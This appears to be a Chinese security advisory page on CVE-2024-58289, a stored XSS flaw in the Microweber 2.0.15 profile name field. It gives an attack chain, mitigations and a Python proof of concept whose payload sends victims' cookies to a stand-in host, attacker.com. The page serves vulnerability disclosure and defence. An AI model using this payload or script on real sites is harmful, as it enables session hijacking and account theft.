IPBUF安全漏洞报告
English
CVE-2024-58289 CVSS 5.4 中危

CVE-2024-58289: Microweber 2.0.15 存储型XSS漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2024-58289
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Microweber

相关标签

存储型XSS跨站脚本MicroweberCVE-2024-58289认证用户攻击会话劫持Web应用安全

漏洞概述

Microweber 2.0.15版本存在一个严重的存储型跨站脚本(Stored XSS)漏洞。该漏洞允许已认证的低权限攻击者在用户个人资料字段中注入恶意JavaScript代码。当其他用户查看包含恶意脚本的个人资料时,攻击者注入的脚本将在受害者浏览器中执行,从而可能窃取用户会话cookie、劫持用户账户、执行任意客户端操作或进行进一步的社会工程攻击。由于攻击代码被永久存储在服务器端,所有访问该用户资料的用户都会成为潜在受害者,这大大扩大了攻击的影响范围和危害程度。攻击的成功利用需要攻击者拥有一个有效的低权限账户,但不需要任何特殊权限或复杂的技术手段,显著降低了攻击门槛。

技术细节

漏洞根源在于Microweber的用户资料编辑功能对输入内容缺乏充分的输入验证和输出编码。攻击者通过在用户资料的“名字”字段(first name field)中注入恶意JavaScript payload(如:<script>alert(document.cookie)</script>或使用事件处理器如<img src=x onerror=...>),系统未能对特殊字符进行HTML实体编码就直接存储到数据库中。当其他用户通过Web界面查看该用户资料时,未经过滤的内容被直接嵌入到HTML页面返回给客户端浏览器。浏览器将恶意脚本作为合法代码执行,从而触发XSS攻击。攻击者可利用此漏洞配合会话劫持技术获取受害者权限,或通过JavaScript读取页面内容并外传敏感信息。由于是存储型XSS,攻击具有持久性,一旦注入成功,恶意代码将持续存在于系统中直到被发现和清除。

攻击链分析

STEP 1
步骤1
攻击者获取Microweber低权限账户并登录系统
STEP 2
步骤2
访问用户资料编辑功能,在名字字段输入XSS恶意载荷
STEP 3
步骤3
系统未对输入进行过滤和编码,将恶意脚本存储到数据库
STEP 4
步骤4
受害者访问攻击者资料页面,恶意脚本在受害者浏览器中执行
STEP 5
步骤5
攻击者通过JavaScript窃取受害者会话cookie或执行其他恶意操作
STEP 6
步骤6
攻击者利用窃取的会话信息劫持受害者账户或获取更高权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2024-58289: Microweber 2.0.15 Stored XSS PoC # Target: Microweber instance # Vulnerability: Stored XSS in user profile first name field TARGET_URL = "http://target-website.com" LOGIN_URL = f"{TARGET_URL}/api/user_login" PROFILE_URL = f"{TARGET_URL}/api/user_profile" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): # Step 1: Login with low-privilege account session = requests.Session() login_data = { "username": "attacker_username", "password": "attacker_password" } response = session.post(LOGIN_URL, json=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload in first name field profile_data = { "first_name": XSS_PAYLOAD, "last_name": "Test User", "email": "[email protected]" } response = session.put(PROFILE_URL, json=profile_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] Payload will execute when any user views the profile") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit()

影响范围

Microweber <= 2.0.15

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 限制低权限用户修改个人资料字段的功能;2) 在Web应用防火墙(WAF)上配置XSS防护规则,拦截包含<script>标签或事件处理器属性的请求;3) 启用浏览器的XSS过滤器作为额外防护层;4) 监控用户资料修改日志,及时发现异常注入行为;5) 对管理员和关键用户强制使用独立的专用浏览器会话以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表